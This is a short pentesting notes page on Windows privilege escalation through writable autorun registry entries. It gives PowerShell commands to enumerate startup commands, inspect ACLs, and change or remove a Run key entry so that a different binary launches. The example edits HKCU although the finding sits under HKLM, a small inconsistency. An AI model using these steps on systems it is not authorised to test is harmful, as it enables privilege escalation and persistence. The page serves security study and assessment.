> For the complete documentation index, see [llms.txt](https://breakpoint-journal.gitbook.io/breakpoint/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://breakpoint-journal.gitbook.io/breakpoint/windows/windows-privilege-escalation/weak-permissions/modifiable-registry-autorun-binary.md).

# Modifiable Registry Autorun Binary

Sometimes you may find misconfigured permissions on autorun binaries. If you can discover writable Windows autorun registry entries and startup paths, you may be able to then modify or remove them. If they run as SYSTEM, even better!

{% code title="" %}

```powershell
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl
```

{% endcode %}

Autorun binaries are listed in multiple locations, see more locations in [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.html) and this [post](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2). The command above enumerates startup commands from common locations such as:

* `HKLM\Software\Microsoft\Windows\CurrentVersion\Run`
* `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`
* Startup folders
* Other autorun mechanisms exposed through WMI

Suppose you discover the following:

```
Name     : ExampleApp
Command  : C:\Program Files\Example\example.exe
Location : HKLM\Software\Microsoft\Windows\CurrentVersion\Run
User     : All Users
```

You can further examine manually...

```powershell
Get-Acl "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" | Format-List
Get-Acl "C:\Program Files\Example\example.exe" | Format-List
Get-Acl "C:\Program Files\Example" |    Format-List
```

You're generally looking for unexpected write permissions granted to groups such as:

* Users
* Authenticated Users
* Everyone

You can modify the path as follows:

```powershell
# Modifying the service autorun path
Set-ItemProperty `
    -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" `
    -Name "ExampleApp" `
    -Value "C:\NewPath\example.exe"

# Removing the autorun path
Remove-ItemProperty `
    -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" `
    -Name "ExampleApp"
```